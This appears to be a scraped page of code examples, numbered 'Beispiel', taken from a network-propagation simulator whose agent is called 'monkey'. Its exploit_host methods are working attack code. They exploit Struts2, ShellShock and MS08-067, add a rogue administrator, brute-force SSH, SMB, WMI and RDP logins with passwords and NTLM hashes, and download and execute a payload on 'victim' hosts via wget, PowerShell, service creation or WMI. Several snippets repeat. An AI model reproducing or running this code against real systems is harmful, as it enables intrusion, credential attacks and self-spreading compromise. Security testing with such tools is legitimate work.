Beispiel #1
0
    def exploit_windows(self, url, dropper_paths):
        """
        :param url: Where to send malicious request
        :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
        :return: Bool. Successfully exploited or not
        """
        host_arch = Struts2Exploiter.check_exploit_windows(url)
        if host_arch:
            self.host.os['machine'] = host_arch
        if url and host_arch:
            LOG.info("Host is exploitable with struts2 RCE vulnerability")
            # If monkey already exists and option not to exploit in that case is selected
            if self.skip_exist:
                for dropper_path in dropper_paths:
                    if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
                        LOG.info("Host %s was already infected under the current configuration, done" % self.host)
                        return True

            src_path = get_target_monkey(self.host)
            if not src_path:
                LOG.info("Can't find suitable monkey executable for host %r", self.host)
                return False
            # Select the dir and name for monkey on the host
            if "windows-32" in src_path:
                dropper_path = dropper_paths[0]
            else:
                dropper_path = dropper_paths[1]
            # create server for http download.
            http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
            if not http_path:
                LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
                return False
            LOG.info("Started http server on %s", http_path)

            # We need to double escape backslashes. Once for payload, twice for command
            cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))

            command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
                                         'http_path': http_path, 'parameters': cmdline}

            backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
                                                 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}

            resp = self.exploit(url, command)

            if 'powershell is not recognized' in resp:
                self.exploit(url, backup_command)

            http_thread.join(DOWNLOAD_TIMEOUT)
            http_thread.stop()
            LOG.info("Struts2 exploit attempt finished")

            return True

        return False
Beispiel #2
0
    def exploit_linux(self, url, dropper_path):
        host_arch = Struts2Exploiter.check_exploit_linux(url)
        if host_arch:
            self.host.os['machine'] = host_arch
        if url and host_arch:
            LOG.info("Host is exploitable with struts2 RCE vulnerability")
            # If monkey already exists and option not to exploit in that case is selected
            if self.skip_exist and self.check_remote_file(url, dropper_path):
                LOG.info("Host %s was already infected under the current configuration, done" % self.host)
                return True

            src_path = get_target_monkey(self.host)
            if not src_path:
                LOG.info("Can't find suitable monkey executable for host %r", self.host)
                return False
            # create server for http download.
            http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
            if not http_path:
                LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
                return False
            LOG.info("Started http server on %s", http_path)

            cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)

            command = WGET_HTTP % {'monkey_path': dropper_path,
                                   'http_path': http_path, 'parameters': cmdline}

            self.exploit(url, command)

            http_thread.join(DOWNLOAD_TIMEOUT)
            http_thread.stop()
            LOG.info("Struts2 exploit attempt finished")

            return True

        return False
    def exploit_host(self):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in self.host.services.items():
            if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                port = int(servkey.replace('tcp-', ''))

        is_open, _ = check_port_tcp(self.host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", self.host)
            return False

        user_password_pairs = self._config.get_exploit_user_password_pairs()

        exploited = False
        for user, curpass in user_password_pairs:
            try:
                ssh.connect(self.host.ip_addr,
                            username=user,
                            password=curpass,
                            port=port,
                            timeout=None)

                LOG.debug("Successfully logged in %r using SSH (%s : %s)",
                          self.host, user, curpass)
                self.report_login_attempt(True, user, curpass)
                exploited = True
                break

            except Exception as exc:
                LOG.debug("Error logging into victim %r with user"
                          " %s and password '%s': (%s)", self.host,
                          user, curpass, exc)
                self.report_login_attempt(False, user, curpass)
                continue

        if not exploited:
            LOG.debug("Exploiter SSHExploiter is giving up...")
            return False

        if not self.host.os.get('type'):
            try:
                _, stdout, _ = ssh.exec_command('uname -o')
                uname_os = stdout.read().lower().strip()
                if 'linux' in uname_os:
                    self.host.os['type'] = 'linux'
                else:
                    LOG.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception as exc:
                LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
                return False

        if not self.host.os.get('machine'):
            try:
                _, stdout, _ = ssh.exec_command('uname -m')
                uname_machine = stdout.read().lower().strip()
                if '' != uname_machine:
                    self.host.os['machine'] = uname_machine
            except Exception as exc:
                LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)

        if self.skip_exist:
            _, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux)
            stdout_res = stdout.read().strip()
            if stdout_res:
                # file exists
                LOG.info("Host %s was already infected under the current configuration, done" % self.host)
                return True  # return already infected

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
                          callback=self.log_transfer)
                ftp.chmod(self._config.dropper_target_path_linux, 0o777)

            ftp.close()
        except Exception as exc:
            LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
            cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
            cmdline += "&"
            ssh.exec_command(cmdline)

            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, self.host, cmdline)

            ssh.close()
            return True

        except Exception as exc:
            LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc)
            return False
Beispiel #4
0
    def exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2)

        exploited = False
        for _ in range(self._config.ms08_067_exploit_attempts):
            exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version)

            try:
                sock = exploit.start()

                sock.send("cmd /c (net user %s %s /add) &&"
                          " (net localgroup administrators %s /add)\r\n" %
                          (self._config.ms08_067_remote_user_add,
                           self._config.ms08_067_remote_user_pass,
                           self._config.ms08_067_remote_user_add))
                time.sleep(2)
                reply = sock.recv(1000)

                LOG.debug("Exploited into %r using MS08-067", self.host)
                exploited = True
                break
            except Exception as exc:
                LOG.debug("Error exploiting victim %r: (%s)", self.host, exc)
                continue

        if not exploited:
            LOG.debug("Exploiter MS08-067 is giving up...")
            return False

        # copy the file remotely using SMB
        remote_full_path = SmbTools.copy_file(self.host,
                                              src_path,
                                              self._config.dropper_target_path,
                                              self._config.ms08_067_remote_user_add,
                                              self._config.ms08_067_remote_user_pass)

        if not remote_full_path:
            # try other passwords for administrator
            for password in self._config.exploit_password_list:
                remote_full_path = SmbTools.copy_file(self.host,
                                                      src_path,
                                                      self._config.dropper_target_path,
                                                      "Administrator",
                                                      password)
                if remote_full_path:
                    break

            if not remote_full_path:
                return False

        # execute the remote dropper in case the path isn't final
        if remote_full_path.lower() != self._config.dropper_target_path.lower():
            cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
        else:
            cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1)

        try:
            sock.send("start %s\r\n" % (cmdline,))
            sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
        except Exception as exc:
            LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
            return False
        finally:
            try:
                sock.close()
            except socket.error:
                pass

        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                 remote_full_path, self.host, cmdline)

        return True
Beispiel #5
0
    def exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        creds = self._config.get_exploit_user_password_or_hash_product()

        for user, password, lm_hash, ntlm_hash in creds:
            LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
                      self.host, user, password, lm_hash, ntlm_hash)

            wmi_connection = WmiTools.WmiConnection()

            try:
                wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
            except AccessDeniedException:
                self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
                LOG.debug("Failed connecting to %r using WMI with "
                          "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
                          self.host, user, password, lm_hash, ntlm_hash)
                continue
            except DCERPCException:
                self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
                LOG.debug("Failed connecting to %r using WMI with "
                          "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
                          self.host, user, password, lm_hash, ntlm_hash)
                continue
            except socket.error:
                LOG.debug("Network error in WMI connection to %r with "
                          "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
                          self.host, user, password, lm_hash, ntlm_hash)
                return False
            except Exception as exc:
                LOG.debug("Unknown WMI connection error to %r with "
                          "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
                          self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
                return False

            self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)

            # query process list and check if monkey already running on victim
            process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
                                                fields=("Caption",),
                                                where="Name='%s'" % ntpath.split(src_path)[-1])
            if process_list:
                wmi_connection.close()

                LOG.debug("Skipping %r - already infected", self.host)
                return False

            # copy the file remotely using SMB
            remote_full_path = SmbTools.copy_file(self.host,
                                                  src_path,
                                                  self._config.dropper_target_path_win_32,
                                                  user,
                                                  password,
                                                  lm_hash,
                                                  ntlm_hash,
                                                  self._config.smb_download_timeout)

            if not remote_full_path:
                wmi_connection.close()
                return False
            # execute the remote dropper in case the path isn't final
            elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
                cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
                          build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
            else:
                cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
                          build_monkey_commandline(self.host, get_monkey_depth() - 1)

            # execute the remote monkey
            result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
                                                                                 ntpath.split(remote_full_path)[0],
                                                                                 None)

            if (0 != result.ProcessId) and (0 == result.ReturnValue):
                LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
                         remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
                success = True
            else:
                LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
                          remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
                success = False

            result.RemRelease()
            wmi_connection.close()

            return success

        return False
Beispiel #6
0
    def exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        creds = self._config.get_exploit_user_password_or_hash_product()

        exploited = False
        for user, password, lm_hash, ntlm_hash in creds:
            try:
                # copy the file remotely using SMB
                remote_full_path = SmbTools.copy_file(self.host,
                                                      src_path,
                                                      self._config.dropper_target_path,
                                                      user,
                                                      password,
                                                      lm_hash,
                                                      ntlm_hash,
                                                      self._config.smb_download_timeout)

                if remote_full_path is not None:
                    LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
                              self.host, user, password, lm_hash, ntlm_hash)
                    self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
                    exploited = True
                    break
                else:
                    # failed exploiting with this user/pass
                    self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)

            except Exception as exc:
                LOG.debug("Exception when trying to copy file using SMB to %r with user:"******" %s, password: '******', LM hash: %s, NTLM hash: %s: (%s)", self.host,
                          user, password, lm_hash, ntlm_hash, exc)
                continue

        if not exploited:
            LOG.debug("Exploiter SmbExec is giving up...")
            return False

        # execute the remote dropper in case the path isn't final
        if remote_full_path.lower() != self._config.dropper_target_path.lower():
            cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
        else:
            cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1)

        for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
            rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
            rpctransport.set_dport(port)

            if hasattr(rpctransport, 'preferred_dialect'):
                rpctransport.preferred_dialect(SMB_DIALECT)
            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(user, password, '',
                                             lm_hash, ntlm_hash, None)
            rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)

            scmr_rpc = rpctransport.get_dce_rpc()

            try:
                scmr_rpc.connect()
            except Exception as exc:
                LOG.warn("Error connecting to SCM on exploited machine %r: %s",
                         self.host, exc)
                return False

            smb_conn = rpctransport.get_smb_connection()
            break

        # We don't wanna deal with timeouts from now on.
        smb_conn.setTimeout(100000)
        scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(scmr_rpc)
        sc_handle = resp['lpScHandle']

        # start the monkey using the SCM
        resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
                                     lpBinaryPathName=cmdline)
        service = resp['lpServiceHandle']

        try:
            scmr.hRStartServiceW(scmr_rpc, service)
        except:
            pass
        scmr.hRDeleteService(scmr_rpc, service)
        scmr.hRCloseServiceHandle(scmr_rpc, service)

        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                 remote_full_path, self.host, cmdline)

        return True
Beispiel #7
0
    def exploit_host(self):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in self.host.services.items():
            if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                port = int(servkey.replace('tcp-', ''))

        is_open, _ = check_tcp_port(self.host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", self.host)
            return False

        #Check for possible ssh exploits
        exploited = self.exploit_with_ssh_keys(port, ssh)
        if not exploited:
            exploited = self.exploit_with_login_creds(port, ssh)

        if not exploited:
            LOG.debug("Exploiter SSHExploiter is giving up...")
            return False

        if not self.host.os.get('type'):
            try:
                _, stdout, _ = ssh.exec_command('uname -o')
                uname_os = stdout.read().lower().strip()
                if 'linux' in uname_os:
                    self.host.os['type'] = 'linux'
                else:
                    LOG.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception as exc:
                LOG.debug("Error running uname os commad on victim %r: (%s)",
                          self.host, exc)
                return False

        if not self.host.os.get('machine'):
            try:
                _, stdout, _ = ssh.exec_command('uname -m')
                uname_machine = stdout.read().lower().strip()
                if '' != uname_machine:
                    self.host.os['machine'] = uname_machine
            except Exception as exc:
                LOG.debug(
                    "Error running uname machine commad on victim %r: (%s)",
                    self.host, exc)

        if self.skip_exist:
            _, stdout, stderr = ssh.exec_command(
                "head -c 1 %s" % self._config.dropper_target_path_linux)
            stdout_res = stdout.read().strip()
            if stdout_res:
                # file exists
                LOG.info(
                    "Host %s was already infected under the current configuration, done"
                    % self.host)
                return True  # return already infected

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(file_obj,
                          self._config.dropper_target_path_linux,
                          file_size=monkeyfs.getsize(src_path),
                          callback=self.log_transfer)
                ftp.chmod(self._config.dropper_target_path_linux, 0o777)

            ftp.close()
        except Exception as exc:
            LOG.debug("Error uploading file into victim %r: (%s)", self.host,
                      exc)
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux,
                                 MONKEY_ARG)
            cmdline += build_monkey_commandline(self.host,
                                                get_monkey_depth() - 1)
            cmdline += "&"
            ssh.exec_command(cmdline)

            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, self.host,
                     cmdline)

            ssh.close()
            return True

        except Exception as exc:
            LOG.debug("Error running monkey on victim %r: (%s)", self.host,
                      exc)
            return False
    def exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        creds = self._config.get_exploit_user_password_or_hash_product()

        exploited = False
        for user, password, lm_hash, ntlm_hash in creds:
            try:
                # copy the file remotely using SMB
                remote_full_path = SmbTools.copy_file(self.host,
                                                      src_path,
                                                      self._config.dropper_target_path,
                                                      user,
                                                      password,
                                                      lm_hash,
                                                      ntlm_hash,
                                                      self._config.smb_download_timeout)

                if remote_full_path is not None:
                    LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
                              self.host, user, password, lm_hash, ntlm_hash)
                    self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
                    exploited = True
                    break
                else:
                    # failed exploiting with this user/pass
                    self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)

            except Exception as exc:
                LOG.debug("Exception when trying to copy file using SMB to %r with user:"******" %s, password: '******', LM hash: %s, NTLM hash: %s: (%s)", self.host,
                          user, password, lm_hash, ntlm_hash, exc)
                continue

        if not exploited:
            LOG.debug("Exploiter SmbExec is giving up...")
            return False

        # execute the remote dropper in case the path isn't final
        if remote_full_path.lower() != self._config.dropper_target_path.lower():
            cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
        else:
            cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1)

        for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
            rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
            rpctransport.set_dport(port)

            if hasattr(rpctransport, 'preferred_dialect'):
                rpctransport.preferred_dialect(SMB_DIALECT)
            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(user, password, '',
                                             lm_hash, ntlm_hash, None)
            rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)

            scmr_rpc = rpctransport.get_dce_rpc()

            try:
                scmr_rpc.connect()
            except Exception as exc:
                LOG.warn("Error connecting to SCM on exploited machine %r: %s",
                         self.host, exc)
                return False

            smb_conn = rpctransport.get_smb_connection()
            break

        # We don't wanna deal with timeouts from now on.
        smb_conn.setTimeout(100000)
        scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(scmr_rpc)
        sc_handle = resp['lpScHandle']

        # start the monkey using the SCM
        resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
                                     lpBinaryPathName=cmdline)
        service = resp['lpServiceHandle']

        try:
            scmr.hRStartServiceW(scmr_rpc, service)
        except:
            pass
        scmr.hRDeleteService(scmr_rpc, service)
        scmr.hRCloseServiceHandle(scmr_rpc, service)

        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                 remote_full_path, self.host, cmdline)

        return True
Beispiel #9
0
    def exploit_host(self):
        # start by picking ports
        candidate_services = {
            service: self.host.services[service] for service in self.host.services if
            ('name' in self.host.services[service]) and (self.host.services[service]['name'] == 'http')
        }

        valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if
                       'tcp-' + str(port) in candidate_services]
        http_ports = [port[0] for port in valid_ports if not port[1]]
        https_ports = [port[0] for port in valid_ports if port[1]]

        LOG.info(
            'Scanning %s, ports [%s] for vulnerable CGI pages' % (
                self.host, ",".join([str(port[0]) for port in valid_ports]))
        )

        attackable_urls = []
        # now for each port we want to check the entire URL list
        for port in http_ports:
            urls = self.check_urls(self.host.ip_addr, port)
            attackable_urls.extend(urls)
        for port in https_ports:
            urls = self.check_urls(self.host.ip_addr, port, is_https=True)
            attackable_urls.extend(urls)
        # now for each URl we want to try and see if it's attackable
        exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls]
        exploitable_urls = [url for url in exploitable_urls if url[0] is True]

        # we want to report all vulnerable URLs even if we didn't succeed
        self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]

        # now try URLs until we install something on victim
        for _, url, header, exploit in exploitable_urls:
            LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
            # same attack script as sshexec
            # for any failure, quit and don't try other URLs
            if not self.host.os.get('type'):
                try:
                    uname_os_attack = exploit + '/bin/uname -o'
                    uname_os = self.attack_page(url, header, uname_os_attack)
                    if 'linux' in uname_os:
                        self.host.os['type'] = 'linux'
                    else:
                        LOG.info("SSH Skipping unknown os: %s", uname_os)
                        return False
                except Exception as exc:
                    LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
                    return False
            if not self.host.os.get('machine'):
                try:
                    uname_machine_attack = exploit + '/bin/uname -m'
                    uname_machine = self.attack_page(url, header, uname_machine_attack)
                    if '' != uname_machine:
                        self.host.os['machine'] = uname_machine.lower().strip()
                except Exception as exc:
                    LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
                    return False

            # copy the monkey
            dropper_target_path_linux = self._config.dropper_target_path_linux
            if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
                LOG.info("Host %s was already infected under the current configuration, done" % self.host)
                return True  # return already infected

            src_path = get_target_monkey(self.host)
            if not src_path:
                LOG.info("Can't find suitable monkey executable for host %r", self.host)
                return False

            http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)

            if not http_path:
                LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
                return False

            download_command = '/usr/bin/wget %s -O %s;' % (
                http_path, dropper_target_path_linux)

            download = exploit + download_command
            self.attack_page(url, header,
                             download)  # we ignore failures here since it might take more than TIMEOUT time

            http_thread.join(DOWNLOAD_TIMEOUT)
            http_thread.stop()

            if (http_thread.downloads != 1) or (
                        'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
                LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
                continue

            # turn the monkey into an executable
            chmod = '/bin/chmod +x %s' % dropper_target_path_linux
            run_path = exploit + chmod
            self.attack_page(url, header, run_path)

            # run the monkey
            cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
            cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
            run_path = exploit + cmdline
            self.attack_page(url, header, run_path)

            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, self.host, cmdline)

            if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
                LOG.info("Log file does not exist, monkey might not have run")
                continue

            return True

        return False
Beispiel #10
0
    def exploit_host(self):
        global g_reactor

        is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
        if not is_open:
            LOG.info("RDP port is closed on %r, skipping", self.host)
            return False

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        # create server for http download.
        http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)

        if not http_path:
            LOG.debug(
                "Exploiter RdpGrinder failed, http transfer creation failed.")
            return False

        LOG.info("Started http server on %s", http_path)

        cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)

        if self._config.rdp_use_vbs_download:
            command = RDP_CMDLINE_HTTP_VBS % {
                'monkey_path': self._config.dropper_target_path_win_32,
                'http_path': http_path,
                'parameters': cmdline
            }
        else:
            command = RDP_CMDLINE_HTTP_BITS % {
                'monkey_path': self._config.dropper_target_path_win_32,
                'http_path': http_path,
                'parameters': cmdline
            }

        user_password_pairs = self._config.get_exploit_user_password_pairs()

        if not g_reactor.is_alive():
            g_reactor.daemon = True
            g_reactor.start()

        exploited = False
        for user, password in user_password_pairs:
            try:
                # run command using rdp.
                LOG.info(
                    "Trying RDP logging into victim %r with user %s and password '%s'",
                    self.host, user, password)

                LOG.info("RDP connected to %r", self.host)

                client_factory = CMDClientFactory(user, password, "", command)

                reactor.callFromThread(reactor.connectTCP, self.host.ip_addr,
                                       RDP_PORT, client_factory)

                client_factory.done_event.wait()

                if client_factory.success:
                    exploited = True
                    self.report_login_attempt(True, user, password)
                    break
                else:
                    # failed exploiting with this user/pass
                    self.report_login_attempt(False, user, password)

            except Exception as exc:
                LOG.debug(
                    "Error logging into victim %r with user"
                    " %s and password '%s': (%s)", self.host, user, password,
                    exc)
                continue

        http_thread.join(DOWNLOAD_TIMEOUT)
        http_thread.stop()

        if not exploited:
            LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
            return False
        elif http_thread.downloads == 0:
            LOG.debug("Exploiter RdpGrinder failed, http download failed.")
            return False

        LOG.info("Executed monkey '%s' on remote victim %r",
                 os.path.basename(src_path), self.host)

        return True
Beispiel #11
0
    def exploit_host(self):
        global g_reactor

        is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
        if not is_open:
            LOG.info("RDP port is closed on %r, skipping", self.host)
            return False

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        # create server for http download.
        http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)

        if not http_path:
            LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
            return False

        LOG.info("Started http server on %s", http_path)

        cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)

        if self._config.rdp_use_vbs_download:
            command = RDP_CMDLINE_HTTP_VBS % {
                'monkey_path': self._config.dropper_target_path_win_32,
                'http_path': http_path, 'parameters': cmdline}
        else:
            command = RDP_CMDLINE_HTTP_BITS % {
                'monkey_path': self._config.dropper_target_path_win_32,
                'http_path': http_path, 'parameters': cmdline}

        user_password_pairs = self._config.get_exploit_user_password_pairs()

        if not g_reactor.is_alive():
            g_reactor.daemon = True
            g_reactor.start()

        exploited = False
        for user, password in user_password_pairs:
            try:
                # run command using rdp.
                LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
                         self.host, user, password)

                LOG.info("RDP connected to %r", self.host)

                client_factory = CMDClientFactory(user, password, "", command)

                reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)

                client_factory.done_event.wait()

                if client_factory.success:
                    exploited = True
                    self.report_login_attempt(True, user, password)
                    break
                else:
                    # failed exploiting with this user/pass
                    self.report_login_attempt(False, user, password)

            except Exception as exc:
                LOG.debug("Error logging into victim %r with user"
                          " %s and password '%s': (%s)", self.host,
                          user, password, exc)
                continue

        http_thread.join(DOWNLOAD_TIMEOUT)
        http_thread.stop()

        if not exploited:
            LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
            return False
        elif http_thread.downloads == 0:
            LOG.debug("Exploiter RdpGrinder failed, http download failed.")
            return False

        LOG.info("Executed monkey '%s' on remote victim %r",
                 os.path.basename(src_path), self.host)

        return True